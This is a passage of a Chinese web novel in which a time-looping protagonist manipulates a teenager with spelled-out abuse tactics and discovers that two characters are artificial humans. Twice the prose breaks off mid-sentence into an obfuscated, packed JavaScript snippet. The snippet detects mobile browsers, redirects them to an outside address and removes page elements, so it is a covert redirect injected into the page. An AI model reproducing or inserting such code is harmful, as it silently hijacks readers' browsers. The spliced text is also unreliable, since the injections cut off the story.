一旦涉及到Dr.G,原本还想要跑路的关前立即回过头,瞪向江闻舟,下意识地为Dr.G辩解。 可当这句话一出后,关前立即反应过来:糟了! 他竟然在一个未知身份的组织成员面前,承认他的私下行动了?! 这一瞬间,关前的脸涨得通红,眼神飘忽,几乎不敢看江闻舟。 可少年人的倔强撑着他不肯低头,只不服气地咕哝道:“你……你到底是哪个部门的?我怎么样……跟你们也没关系吧!” 江闻舟冷声道:“如果你的个人终端,没有在37小时前异常访问了‘深红商贩’的开放节点,这件事或许确实跟我没有关系。” 关前抓住背带的手指瞬间收紧,原本涨红的脸立即又变白了。 江闻舟:“告诉我,G,你在干什么?” “我……我在……我是因为……” 在江闻舟的步步紧逼下,在那双越发紧迫冰冷的黑眼睛的注视下,此刻,关前的表情近乎恐惧,一时间竟想不出半点辩解的话来。 但,就在这恐惧越发升腾,几乎化作实质的那一刻,江闻舟却又笑了起来。 这一笑,就像是春风化雪。 那些原本令关前恐惧的一切——秘密、黑暗、血腥、暴力、命令——所有的一切,都仿佛在这个笑容下消融了。 而后,江闻舟微凉的手,轻轻按在了他的发顶上。 他微微低头,轻轻弯起的眼睛有不可捉摸的流光浮动,声音轻柔,恍如魔鬼的蛊惑: “我知道你在想什么——Dr.G的孩子。” “就如同我知道你为什么出现在这里。” 17、第17章 博弈 冰冷的车厢顶灯,在江闻舟脸上投下了莫测的阴影。 他微微俯身,用一种近乎轻柔的、带着森然恶意的声音,轻轻说道:“我记得你,或者说,我对你印象深刻……想知道为什么吗?” 顿了顿,江闻舟说:“因为你那双可笑的眼睛里写满了一句话——快来爱我吧! “谁都好,哪怕一点点也好……来爱我吧!” 关前的呼吸骤然停滞。 这一刻,一种比以往任何时候都要冰冷的森然涌上,让关前恐惧得开始颤抖,恐惧得牙关几乎都要开始咯咯作响。 他不敢思考下去——他不敢去想江闻舟的这句话代表着什么。 可是,江闻舟偏要将那最冷酷的事实,血淋淋地摆在他的面前。 江闻舟轻笑了一声,近乎愉快道:“是不是很惊讶我会知道?是不是很不可思议我竟然一口就说出了你的秘密? “多可悲啊,多可怜啊……果然还只是一个孩子,你竟然会以为你把你的小心思藏得很好?还是你以为你那几乎溢出眼眶的渴望,会是一个秘密? “不,让我告诉你吧,可怜虫——所有人,所有见过你的人,包括dr.g,包括实验室里的所有人,都对你的渴望清清楚楚,明明白白……但他们永远不会满足你的愿望,你知道为什么吗?” 江闻舟含笑的目光在这个年轻人身上流转,一寸寸剖开关前的皮肉,剖开这个孩子的心脏,将他自以为的秘密、渴望、希冀,全放在阳光下暴晒。 直到它干瘪,直到他绝望。 “因为你和dr.g是截然不同的两种存在。她是我们不可或缺的基石,她的名字与‘价值’同义,我们可以满足她的任何愿望,任何要求,但你——”江闻舟温柔说着最冷酷的话语,“——你毫无价值。” ——你毫无价值。 这句话,几乎是关前心中最深的梦魇。 在这一瞬间,关前的眼泪夺眶而出。 他奋力挣扎着,几乎想要不管不顾地挣脱江闻舟的束缚,转身跑开,好逃离这方天地里的一切,逃离这个让他崩溃的真相。 可江闻舟早有准备,原本按在关前发顶上的手掌一个用力,抓紧他的头发,将这只试图逃跑的幼兽牢牢按在原地。 此刻,江闻舟依然在笑着,俯视他的那张脸上,是温柔的、平静的,甚至是怜悯而慈悲的。 但在关前眼里,这样的脸却几乎与魔鬼无疑! “你……”关前被迫仰起头,看着江闻舟的脸,声音发颤,“你到底想……” 关前的话没有说完。 因为江闻舟突然松开了抓住他头发的手,给了他一个警告眼神。 下一秒,一个声音响起: “你好,这位先生,还有……你……”太阳风突然出现在了两人身旁,面露关心,视线在江闻舟和关前两人身上游移不定,“你们没事吧?” 关前看着太阳风,瞳孔突然紧缩。 于是,当他再看向笑容温和,好似对这一切都早有准备、早有预料的江闻舟时,一股更深的恐惧袭来。 这个人…… 这个人——他真的什么都知道? 甚至就连“他”的出现,也在这个人的意料之中吗?! 江闻舟彬彬有礼,向太阳风歉意笑道:“不好意思,打扰到你了吗?这是我家亲戚的孩子,他突然离家出走,让我们都有点生气,所以我刚刚的声音可能大了点……真是抱歉啊,我们接下来会动作小一点的。” 说着,江闻舟的视线又落在了关前身上,唇边的笑容仍在,目光却黑漆漆、冷幽幽的:“快,还不快向这位关心你的大哥哥道歉?” 关前下意识地抖了抖,嘴唇嗫嚅:“对、对不起……” 江闻舟:“还要记得道谢。” “谢、谢谢……” “要说——‘谢谢大哥哥的关心,我没有事,接下来也会小心、不再任性,不再打扰到其他乘客’。” 关前声音又有些哽咽了:“谢谢大哥哥的关心,我……我没有事,接下来,我也、也会更小心的,我不会再任性了,也不再打扰到其他乘客了……” 太阳风的眉头困惑蹙起。 从直觉上来说,他认为面前的江闻舟和关前,真的很像是一名穷凶极恶的绑架犯和一名遭受迫害的未成年人。 可偏偏,会这么细致地纠正孩子的礼貌和言行的,也确实只有非常亲近的亲人…… 难道真的是叛逆期青少年和大家长的矛盾? 太阳风欲言又止,最后见关前一直低着头,既不看任何人,也半点没有求救的意思,便也只能退开了。 尽管如此,他暗藏警惕的目光,也一直向江闻舟这边扫视。 不过江闻舟也好关前也好,谁都没有理会他。 在这个江闻舟以阴影分割出的小空间里,对话再次进行。 江闻舟抬起手来,再次将手按在了关前的发顶。 关前抖了抖,没有躲开。 江闻舟笑着,手掌滑下,在关前肩上轻轻拍了拍,声音赞叹:“乖孩子。” 关前抓紧网球包背带的手指又紧了紧。 江闻舟道:“还记得我之前跟你说什么吗?我知道你为什么出现在这里——像一只躲在阴影里的小兽,拼命想弄出点动静,好让那个永远不会回头看你的猎人,终于能注意到你。 “多可悲啊,多可怜啊……你做了这么多,却从来没有人真正‘看见’过你。但—— “除了我。” 关前蓦然抬头。 眼神与其说是震惊、不可置信,不如说是深深的怀疑……与恐惧。 是的,关前如此恐惧着面前这个男人,哪怕他与这个男人相处的时间,只有短短片刻。 但这短短片刻,也让他确信了: 他宁可不被任何人“看到”,也不想被这个比魔鬼更可怕的男人“看到”! “为什么?”关前声音发涩,“你为什么要……‘看见’我?” 江闻舟笑了笑:“因为我曾经也和你一样,愚蠢地、长久地仰望着,去寻求一个永远不可能得到的回应。” 关前眼神一动,原本充满了混乱、恐惧、绝望、甚至憎恨的心,突然被某种东西轻轻牵引了过去。 他不由得微微向江闻舟的方向倾身——这是一个敞开心扉、愿意深谈的姿势,也是江闻舟铺垫了那样长的目的所在! 关前说:“你……你们这样的人,也会渴求什么吗?” 江闻舟轻笑:“当然,只要是人,就会有渴望,而只要有渴望,就会有失落……这件事,你应该最清楚不过了,不是吗?” 关前目光微微闪动了一下,原本前倾的姿势突然向后缩了缩,就连脚尖也无声朝向了外边——这是警惕的姿势! 江闻舟心中咯噔一下:糟了。 这小子,竟然突然生出了警惕? 为什么? 是因为他刚刚的那句话吗? 可刚刚那句话,有哪里不对吗?! 打压、共情、控制——这明明是最标准的pua流程。 刚刚对这小鬼的精神控制,明明已经渐入佳境了,到底是在哪里露了破绽? 江闻舟迅速捋了两遍,没有找到答案。 而此刻,关前眼底的怀疑与躁动越来越多,江闻舟知道,自己必须要说点重磅消息,才能将关前的怀疑安抚下去。 江闻舟装作没有看到关前的表情变化,继续说道:“我知道你想做什么——你只是太想让她为你骄傲一次了,对吗?但可惜,你用错了方法。 “真是可悲啊,g,你分明是她的儿子,却没有继承她半点的聪慧,竟将你所有的心思,都花在了这些愚蠢的地方。 “不过没关系,刚好我不喜欢太聪明的孩子,我只偏爱那些乖巧的可怜虫……所以别怕,我可以帮你——帮你得到她真正的注视。怎么样?” 关前再次捏紧了背带,在江闻舟的注视下,僵立原地。 这一瞬间,江闻舟可以清楚看到,这个少年的眼帘发颤,嘴唇张合,脸上闪过无数复杂犹豫的东西—— 渴望,期盼,动摇。 恐惧,警惕,以及……决心! 时间在这一秒拉得很长很长,就像是人生最后一秒的跑马灯那样漫长。 然而事实上,它又极快极快。 因此,当关前深深吸气、江闻舟心感不妙的下一瞬间,一个声音响起: “救命!救命!!” 关前大喊了起来,毫不犹豫地向太阳风的方向跑去,一头撞进太阳风的怀里。 他躲在太阳风身后,手指向江闻舟一指,声音夸张,眼神冰冷: “这个人是骗子!他想要拐我!!” “你们快把他抓起来!!” 这一瞬间,四周一片哗然。 所有人——甚至包括太阳风、包括隔壁车厢的张茂,目光都看向了江闻舟。 太阳风手里的书合上了。 啪。 一声轻响,沉沉落在江闻舟心间。 随后,太阳风直起身,摘下了墨镜,黑色的眼睛直直看向江闻舟。 “抱歉,这位先生,耽误你一点时间——” 这个在江闻舟记忆中总是好糊弄、好利用的年轻英雄,第一次在江闻舟面前展露了他属于a级异能力者的压迫感与统御力。 “下一站,麻烦跟我去警局走一趟。” 江闻舟看了太阳风一眼,而后,目光越过他,落在身后的关前身上。 此刻,这小子的脸上得意洋洋的,像是识破了什么关键之物,看江闻舟的目光也不再恐惧,而是带着一种喜悦与恶意。 天真,且恶毒。 江闻舟不禁失笑,摇了摇头,不耻下问道:“我刚刚的话,有哪里不对吗?” 江闻舟是真的想不明白,自己刚刚的话术到底哪里露了破绽。 为了避免暴露身份,江闻舟没有深谈组织的任何事件,也没有谈论任何关键人物及性格,只把一切重点都集中在关前个人的情绪上。 可即便如此,他还是暴露了……为什么? 关前向江闻舟扮了个鬼脸,冷哼一声:“我才不会告诉你这个坏蛋呢!你这种大恶人,别想从我这里得到任何消息!” “这样啊……”江闻舟叹息,“那就没办法了。” 太阳风直觉感到不对,上前两步,想要控制住他。 但就在太阳风的手即将按在他肩上的那一刻,江闻舟平静说道: “系统,跳过本周目。” 霎那间,时间定格。 所有的人物,都如同雕塑般,僵立原地。 在这个凝固且失色的空间里,唯有江闻舟是唯一的色彩。 而下一秒,时间倒流。 一切退回原点。 一切重新开始。《 》 18.第18章 【THAUMIEL】 第三十二周目。 江闻舟生出了一个大胆的念头:能不能暂时放弃对关前这个变数的试探,直接想寻找破局的方法? 其实,江闻舟心中仍有许多的“为什么”和“怎么会”。 比如说,为什么“只要是人,就会有渴望,而只要有渴望,就会有失落”这句近乎“正确废话”的言论,竟在关前身上失了效? 难道说关前不是人? 那他是什么? 外星人? 从理论上来说,一个倒向外星人的投降派组织,里头冒出一个外星人成员似乎并不稀奇。 可问题是,《异我之名》里的外星人,那就没有关前这种小卡拉米级别的。 说到这个,就不得不再次提到《异我之名》里的设定。 2006年,也就是二十年前,江闻舟八岁。 那时候,刚满十八岁没多久的江闻舟,发现自己突然又变成了未成年、并且还穿越到一个似是而非的地球时,心里是十分崩溃的: 好不容易可以光明正大去网吧开黑玩通宵了,这会儿突然又去不了了? 玩他呢? 但很快的,更叫江闻舟崩溃的事发生了:外星人,降临了! 那一天,实在是相当不可思议的一天,就像是佐德将军劫持全球信号寻找地球上的超人一样声势浩大,令地球人时隔二十年都难以忘怀。 而比佐德将军更可怕的是,这个降临的外星人不但劫持了地球的信号,直截了当地宣告要接管对地球的统治,甚至还展露出了它们独特的能力: 对物理规则的局部否定与重写。 简而言之,就是获取高维权限,修改三维世界的底层代码,扭曲人类原本熟知的各种规则,从而对人类现代文明实施毁灭性打击! 因这是仅有外星人才能掌控的能量,因此人类对此异种能量又称之为“虚空能量”。 对虚空能量掌控力较低的外星人,大多只能修改一下环境参数。 什么叫“环境参数”? 比如说令一条原本只有100米左右的街道无限延长,令人怎么都走不出去; 又比如说加速某个事物局部的时间流速,令上一秒还是朝气蓬勃的年轻人,下一秒就变成白发苍苍的老人。 这样的事听起来就已经极可怕了。 但还有更可怕的。 比如说,因果律干扰: 令“被枪击杀”这个结果发生在“开枪杀人”这个原因之前;令地球人某场至关重要的行动,还未开始就注定了失败! 这些虚空掌控者的出现、以及它们所表现出的可怕能力,简直是对地球引以为豪的现代文明的根本否定。 若不是地球灵能者也接连涌现,强力扭转了地球人面对外星人时的绝对劣势,恐怕地球早就投降了,又怎么会有之后长达二十年的文明守卫战? 但,无论如何,经过二十年的拉锯战,“外星人=牛逼”这个等式,早已经深入人心。 而深知某些重要秘密的穿书者江闻舟,更是不会有半点小觑这些星际侵略者。 所以,“关前=外星人”这个想法,江闻舟是想都没想过的:这小卡拉米会是外星人? 不可能,绝对不可能! 可是,如果关前不可能是外星人,那他上周目的那句话,又是哪里引起了关前的警惕? ……想不通。 实在想不通。 真的是想破了头都想不明白,一句“正确废话”会在什么场景下出错。 那么,既然想不明白——可不可以干脆别想了? 可不可以把这小鬼的事丢开,直接思考怎么抓住刑焰? 这个思路,骤然一看,似乎是可行的。 但只要一开始深入思考,就会发现一个横亘在江闻舟面前的巨大难题: 如何抓住刑焰? 或者说,如何在抓住刑焰、打断刑焰的任务的同时,还能保护好列车上的所有乘客? 刑焰行动的时间,是6时30分,按理来说,好似只要在这个时间点前抓住刑焰就算是搞定了一切。 反正太阳风就在05号车厢,并且又傻又好用,只要他随随便便编个理由,骗他一回,就能将这名高级异能力者的武力化为己用……可是,别忘了—— 刑焰他,也是一个高级异能力者。 在狭小封闭的地铁列车上,让一个元素系的高级异能力者,武力制服另一个元素系的高级异能力者……这已经不仅仅是“像往滚油里泼水”的程度了。 而是往沼气池丢鞭炮! “鞭炮”一响,“黄金”万两。 这哪里是“找死”两个字就能形容的? 正是因为如此,江闻舟才会花整整三个周目的时间,去解读关前的日记本,试图找到一个智取之法。 可如今看来,关前身上,似乎并没有直接通往成功之门的钥匙。 那…… 怎么办? 江闻舟脑中一片空白。 智取无门,武取无路……难道,张茂真的是必然牺牲的? 难道,这世上真的不存在一个可以令所有人皆大欢喜的结局吗? 不知不觉间,江闻舟又一次来到了05号车厢。 他坐在了靠06号车厢的地方,也就是关前的身侧,太阳风的斜对面。 但这一次,江闻舟没有去看任何人——关前,太阳风,刑焰,甚至张茂也好,他统统没有理会。 他只是沉默地、久久地坐在座位上,看着自己的脸在对面车窗上明明灭灭。 有点累了。 江闻舟这样想。 前三十周目里,无论是连续的死亡,还是连续的失败,其实都不能让他感到疲倦。 因为那时候的江闻舟,是确定自己在“向前”的。 当一个人有着明确的目标、明确的方向时,无论他重来多少次、跌倒多少回,他都是不会感到累的。 可是,当目标悄然消散,原本明朗的前路陷入一片迷雾时,甚至还没有过去半小时,江闻舟就已经感到累了。 ——怎么办? 江闻舟一遍又一遍地想着。 ——我,该怎么办? 啪。 突然间,嘈杂的地铁车厢里,有一个熟悉的声响。 是书籍合上的声音。 江闻舟没有抬头。 他想,这大概是文艺青年和不靠谱小鬼的又一次成功汇合吧。 反正在没有他插手的周目里,这两个家伙总是能谈到一块儿去,所以现在,大概又是“小王子”和“赛博格”发力的时候了吧。 但,出乎意料的是,那个江闻舟单方面熟悉的年轻英雄,竟径直来到他身旁坐下,递过来的手掌轻轻摊开,里头是一颗糖。 草莓味的。 江闻舟看着自己眼前出现的这颗糖,轻轻侧头,看到了表情莫名有些紧张还有些期待的太阳风。 “干什么?”江闻舟问。 太阳风一顿,说道:“科学证明,吃糖后心情会变好,因为糖分会刺激舌头上的甜味受体,刺激大脑释放多巴胺,同时糖分还会刺激身体分泌胰岛素,间接提升色氨酸在血液中的……” “停!”江闻舟无奈抬手,打断了这个年轻人的大段科学理论,“我是问——你在干什么?” 太阳风眨了眨眼,又眨了眨眼:“我在给你糖。” 江闻舟:“……我是在问你为什么要给我这个。” 太阳风一顿,像是突然开窍了一样,恍然大悟,近乎惊喜道:“原来你在问我这个?” 江闻舟:“……那不然呢?” 太阳风不好意思地用食指挠了挠脸颊,小声道:“抱歉呀,我……我平时没怎么跟人接触,所以有很多很多的事都不太懂,不过如果你跟我直说的话,我就会明白了!我的,呃,我的养父和朋友们都跟我说,我还是挺聪明的。” 说着,这个年轻人近乎骄傲地笑了一下,然后在江闻舟无语的目光下迅速回神:“哦,是的,你在问我为什么要给你糖。” 他连忙正色,模样就像是面对老师的小学生,又是乖巧又是正经地说道:“因为,我刚刚看到你,觉得你好像很累很难过,而我养父告诉过我,英、呃,我是说我,我有帮助他人的义务,所以我觉得在这样的时刻,我应该给你一颗糖。这是我的义务。” 江闻舟目光微妙地看了太阳风一眼。 真是怪事。 前三十周目里,他怎么不知道太阳风竟然是这样……的性格? 不过,也对。 在前三十周目里,他几乎没怎么接触过太阳风,对太阳风的印象,除了单纯好骗外,几乎没有更多。 可事实上,在第十九周目,也就是对张茂进行话疗后,又被太阳风主动搭讪,告知名字的那一周目,太阳风明确说过,他有很多很多事都不懂……只不过那时候的江闻舟并没有放在心上。 江闻舟对太阳风升起了淡淡的好奇,同时他也并不想要谈论自己的事,于是他随口将对话的主导权夺了过来。 “帮助他人的‘义务’吗?”江闻舟轻笑一声,表情变得亲切了两分,就像是被太阳风口中的关切打动了,柔和道,“这世上可不是谁都有这样的自觉和‘义务’的,看来你养父对你的要求和期盼都很高啊。” 太阳风不疑有他,笑道:“是啊,养父对我很好,教了我很多很多……虽然我还是有很多不明白的东西,但我有在努力理解——你看,这就是他推荐我看的书!” 说着,太阳风将手里的《仿生人与赛博格》展示给江闻舟看,一副想要跟小伙伴分享糖果的表情。 江闻舟轻瞥一眼,笑道:“真是厉害啊,这种书,一般人看不懂的吧。” 太阳风一怔,奇怪道:“看不懂吗?为什么?” 江闻舟也是一怔:原来你们看这玩意儿,不是为了装逼,而是真看得懂? 江闻舟的心情更微妙了。 他紧急转移话题,斟酌语句道:“大概是因为……会看这本书的人,一般不会出现在早高峰的地铁上吧。” “对哦,我的同、哦,我是说我的朋友,他们也说不会有人在早高峰的地铁上看这个……可是——!” 太阳风一脸严肃,开始发表高论:“你想一想:早高峰的人很多,适合观察人生百态;早高峰的大部数乘客很安静,不会管别人的事;早高峰的人流量很大,就算不小心看书入迷、做了奇怪的事,但下一站乘客就会大批量更换,不会有人一直记得你。所以,综上所述,早高峰是最适合看书的地方,对不对?” 江闻舟沉默片刻,突然又笑了起来。 “你真有意思。”江闻舟说。 太阳风惊喜道:“真的吗?”他似乎十分开心,“你是第一个说我‘有意思’的人,他们都说我、呃,有点傻。” 顿了顿,太阳风有些沮丧,有些不服气,没有忍住,道:“可我觉得我还是很聪明的。真的!” “当然。你当然很聪明。”江闻舟轻笑,声音短促而柔和,“你只是太年轻了。” “是啊,他们都是这样说的……说我太年轻了,分不清人们的潜台词、分不清他们需要的到底是什么。”虽然得到了承认,但太阳风的表情更沮丧了。 江闻舟神情微动,原本柔和下来的目光再度凝聚,落在太阳风的脸上,嘴上则只是宽慰道:“没关系的,年轻有时候是劣势,有时候也是优势——你还有很长时间去学习。” 太阳风叹气:“是啊,学习……我现在就在学习,我养父甚至给我放了三个月的假,让我来学习什么叫潜台词。” “这个也不是让你学你就能飞快学会的吧?”江闻舟说,“你的养父,还是有些着急了。” “也不算着急。”太阳风下意识辩解,“因为我的确需要尽快学会这个。” 为了增强自己的说服力,太阳风主动说道:“我在、嗯、在一个……类似救援队的队伍里工作。” “是社区救援队吗?就像守望者组织呼吁的那样?” “对!就是这样! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16704493|187517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “真了不起啊。” “也没有啦……因为我昨天才搞砸了一件事。” “是吗?” “是啊,昨天,我被要求护送一名重要成员。明明我成功在指定的时间把他送到了指定地点,可是他却投诉了我,说我对他进行了非法拘禁和精神折磨!” “真的吗?怎么会这样?”江闻舟关切道,“这也太过分了吧!” 就像是好不容易获得肯定和支持的小朋友,这一刻,这个年轻英雄的眼泪都快掉下来了,脸上眼里写满了委屈: “对吧,他真的好过分!明明是他自己说无论如何都要保护好他的安全,也是他自己说‘这鬼日子一天都不想过了,赶紧死了得了’…… “所以,我出于安全考虑,收走了他的皮带、鞋带、打火机、水果刀等一系列危险物品,同时捆住他的双手双脚,确定他不会在护送的路上突然暴毙,这是很正常的思考和逻辑吧? “我做这些,明明是为了保护他,可他竟然投诉我,还说我虐待他……你说他是不是很过分!” 江闻舟:“……” 江闻舟噗嗤笑出声来,抬手揉了揉这个年轻英雄的头发:“是啊,好过分呢!你真是太可怜了,怎么会有人舍得投诉你呢?真是个超级大坏蛋啊。” “……也、也没有啦。” 也不知道为什么,这一刻,这个年轻英雄突然有些脸红。 他微微低着头,墨镜不知道什么时候从鼻梁微微滑落,露出了他漂亮的眼睛,深邃的轮廓。 太阳风实在是个相当俊秀的年轻人,这份俊秀极具侵略性,甚至称得上咄咄逼人。 但很多时候,江闻舟总会忘记这一点。 就像是大多数看到萨摩耶的人,通常不会想起它有多么强壮,又有多么优秀的工作能力,而只觉得它实在友善可爱极了。 是那种会向人类露出“天使的微笑”的温顺可爱。 可是,当太阳风的墨镜滑落,那双漂亮的眼睛再度出现在江闻舟面前时,他又一次想起来了。 想起当这具躯体里爆发出太阳表面一样的高温火焰时,他是如何强大,又是如何挟着可怕的气势,从天空降落的。 想到这里,江闻舟微微一顿,立即察觉了自己这一刻的松懈,飞快收回手来。 太阳风奇怪看他:“你不摸了吗?” 江闻舟:“……” 这是什么虎狼之词? 江闻舟反问:“你不生气?” “当然不。”太阳风弯眼一笑,“因为我喜欢你——” 江闻舟心跳骤然停跳。 “——觉得我很可爱。” 差点没被这大喘气吓死的江闻舟:“……” 他面露无奈,长长叹了口气:“你啊……” 太阳风歪头:“什么?” “没什么。” 事实上,江闻舟真正想说的是:你是狗吗? 非贬义。但就是说——你跟那种天天想要出门遛弯,并且一察觉到路人觉得它可爱,就硬蹭上去要人给它顺毛的狗,是不是有什么不可告人的关系? 此刻,时间来到了6时29分。 这第三十二周目,便在这样的废话中毫无用处地度过了。 虽然意外了解了太阳风的背景,以及他出现在这辆地铁上的理由,但—— 就跟江闻舟最初猜想的那样,对这次灾难毫无用处。 因为,漫画里的正派英雄基本都是这样的,没什么深度,没什么故事,全靠反派撑场面。 想到这里,江闻舟向06号车厢的方向轻瞥一眼。 他已经准备好了接受即将到来的异能暴动,以及接下来的死亡。 可是,再一次让江闻舟出乎意料的事发生了—— “你在看什么?” 太阳风奇怪转头,又茫然转了回来。 “你很担心?为什么?有什么事发生了吗?” 有一瞬间,江闻舟的脑中是近乎空白的。 因为他从来没有想过,一个人竟然可以“傻”到这种程度,又敏锐到这种程度。 明明他刚刚只是往06号车厢的方向看了一眼而已。 甚至连江闻舟自己,都说不清那一眼到底是担心更多,还是惆怅更多。 可太阳风却敏锐地察觉到、并分辨了出来…… 为什么?! 他——这个太阳风,不应该是个……笨蛋吗? 这一刻,自这周目起遇到太阳风时就滋生的微妙,在江闻舟脑中越演越烈。 但江闻舟来不及思考更多,因为下一秒—— 轰! 熟悉的青色风暴,再度出现。 然而,不同于以往任何一个周目的是,这一回的太阳风反应离他极近,并且反应极快,几乎在青色风暴出现的0.1秒后,就蓦然起身,挡在了江闻舟面前。 狂烈的风暴下,太阳风衣角猎猎。 原本时髦的黑色小西装夹克和白色衬衫,都因他试图抬手阻拦风暴,而高高飞起,露出了他左腰的一角,也露出了一个青色纹身……不,那根本不是什么“纹身”! 【THAUMIEL-1】 这一瞬间,江闻舟瞳孔紧缩。 也正是在这一刻——太阳风身上的古怪,以及与常人格格不入的性格;他手中的那本《仿生人与赛博格》;他每周目都会与关前谈论的“小王子”与“哈姆雷特”;甚至是江闻舟上周目在关前面前露出的破绽,一切的一切,都在江闻舟脑中串联,写出答案。 “原来如此。” 江闻舟恍然大悟。 “我终于明白了!” 太阳风和关前,为什么这两个不同的人物,会有着同样的成熟和幼稚,有着同样与常人格格不入的地方,并且投缘到古怪,只要一交谈,就立即聊上了。 会造成这个结果的理由,只有一个—— 他们是人造人! 【THAUMIEL-1】,这正是属于人造人的编号! 19.第19章 人造人 在漫画《异我之名》里,曾经有一个反派群体甫一登场,就因其强大的实力、卓越的颜值,迅速俘获了大量读者的心。 他们就是“人造人E-13机动队”。 “人造人”是他们的本质,“E”是他们的等级编号,“13”是队伍的人数,“机动队”则是他们的定位。 这是一队自诞生之初,就被人定制好了每一个细节的人造人。 他们没有童年,没有成长的过程,自睁开眼时,就是适合战斗的姿态;他们不被允许拥有自我与个性,所接触与学习的一切,都在他们造物主的控制之下。 甚至连死亡,也无法由他们自己决定。 ——在漫画的第263回,当主角林启明与人造人E-13机动队的战斗进入了白热化,眼看就要将敌人捉住、逼问出他们的来历时,戏剧性的一幕发生了:他们死了。 并且,不是被迫的,而是在接收到上级指令后,主动在漫画主角面前自爆,试图以性命为代价,将林启明消灭! 理所当然的,他们没有成功。 但那毫不犹豫将自己当作武器使用的姿态、以及那一地惨不忍睹的残骸,给了林启明——也给了漫画外读者们相当大的心理冲击。 谁能想到,上一回还登顶人气榜的反派小队,这一回就全死光了? 世上怎么会有刀人气角色刀得这么毫不犹豫的老贼啊?! 这便是“人造人”这个概念在《异我之名》漫画中的第一次正式出场。 而在后续情节中,当人造人再次现身时,是与一场巨大灾难一同降临的。 彼时,真相揭晓,读者也终于明白,这所有的人造人,原来全都来自同一个组织,即【人类进步阵线】。 并且,在【人类进步阵线】里,人造人可不是单纯的武器,而是被划分为了四个等级,即:G级,E级,O级,S级。 它们分别对应着Golem(魔像)、Eidolo(幻影)、Ontos(存在)、Singularity(奇点)。 更令人意外的是,在历尽艰险后,主角团发现,那个将他们数次逼至绝境的S-Prime,上头竟还有一个更高位的存在——编号为“Thaumiel”的个体。 只不过,Thaumiel似乎是遗失了,又或者是毁坏了,并没有在《异我之名》的后续情节中出现过。 至少在江闻舟穿越之前,它还未现身。 江闻舟穿越时,《异我之名》的漫画剧情,正进行到主角团备战最终BOSS的阶段,总之,还未完结。 所以,对于《异我之名》的后续走向和最终结局,以及Thaumiel这个坑是否被作者填了,江闻舟都不太能确定。 但江闻舟可以确定两件事: 第一,太阳风腰间的编号,必定是人造人编号,且与S-Prime同源,出自【人类进步阵线】之手。 他,太阳风,就是S-Prime口中消失的Thaumiel——那个在以“科学”和“真理”的组织中,唯一一个以“神”为编号的、最高阶的人造人! 第二,关前的代号“G”,并非来自姓氏,而是人造人等级标识——他是Golem系列的一员,一种功能专一、高度量产型的人造人。 至此,江闻舟终于明白了第三十一周目失败的根源: 当时,江闻舟对关前说的那句【只要是人,就会有渴望,而只要有渴望,就会有失落】,其实是没有错的;问题出在下一句:【这件事,你应该最清楚不过了】。 从这一句开始,江闻舟后续的一系列话术,都彻底偏离了真相。 例如,【G,你分明是她的儿子,却没有继承她的半点聪慧】,这句话是完全错误的。 关前虽对Dr.G怀有孺慕之情,视其为母亲,但其实关前并非Dr.G的儿子,Dr.G也不可能会将关前这种“研究辅助用具”当作儿子。 所谓的“继承”,更是彻头彻尾的错误:在【人类进步阵线】中,G系列人造人与研究员基本不存在血缘关系。 不过,即便如此,关前在组织中应该仍具有一定的特殊性,至少是相对特殊的。 否则作为工具的他,不可能掏得出雇佣费,也不可能有机会偷偷溜出组织基地,来地铁上干这么离谱的事。 这一刻,江闻舟再次开始思考: 综合他新获得的两个消息,以及这个近乎震撼的真相,在这个新的一周目里,他江闻舟是否能将它们当作关键筹码,加以利用? ——值得一试! · 第三十三周目。 江闻舟将破局密钥,从关前转移到了太阳风身上。 说来惭愧,对于江闻舟这种功利性拉满的大人来说,尽管关前这小子身上或许有点小秘密,但放在刑焰这一更高优先级的目标面前,这点小秘密也只能往后稍稍: 比起量产的G系列人造人,可耻大人还是觉得唯一级的Thaumiel,更具价值。 所以,报一丝啊小朋友。 如果等这事儿过去了你还能撞到他手里,到时候再跟你好好玩吧。 做下决定,江闻舟直奔太阳风。 他准备在这一周目做个测试:如果太阳风与他全力配合,他们两人合作下,是否有可能在第一时间擒拿住刑焰、阻止他后续一系列的破坏? 假如太阳风只是普通的高级异能力者,江闻舟根本就不会做这种测试:别想了,没可能的。 可是,太阳风是Thaumiel啊! 他是S-Prime的高配版。 他应该是有属于他自己的拿手绝活的吧—— 就像是S-Prime。 更甚于S-Prime! 作为一个在异世界生活了二十年的穿越者,江闻舟至今都记得S-Prime暴打主角团的高光场面。 S-Prime,作为S系列人造人的“原点”,自称是【人类进步阵线】创造超越人类智慧生命的最终尝试。 他的能力,以及S系列所有人造人的能力,其实都在模仿一位曾给地球带来过浩劫的可怕外星人——《异我之名》的最终BOSS,太阳领主。 且不提太阳领主到底有着什么神灵一样的威能,光是S-Prime在漫画中的表现,就已经相当令人震惊了。 在《异我之名》的设定中,人类的异能大致能分为四大类: 作用于自身的强化系;操控宇宙基础元素的元素系;定义或改写局部规则的规则系;再有就是将异能实质化为短暂或永久性造物的造物系。 但S-Prime,却显现出了惊人的混合能力。 首先,他能力的主要表现是元素系。他可以直接操控某种元素——但不是常见的火焰,而是等离子体、电磁场和高能粒子流! 他可以操控这些常人连概念都很难分清的元素,进行能量轰击,电磁脉冲,轻易瘫痪电子设备,甚至摧毁整座城市。 当他全力发动异能时,天空甚至会出现绚烂之极的极光! 因此,S-Prime又被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16711849|187517||http|test|mini|href|location''.split(''|''),0,{})); () { 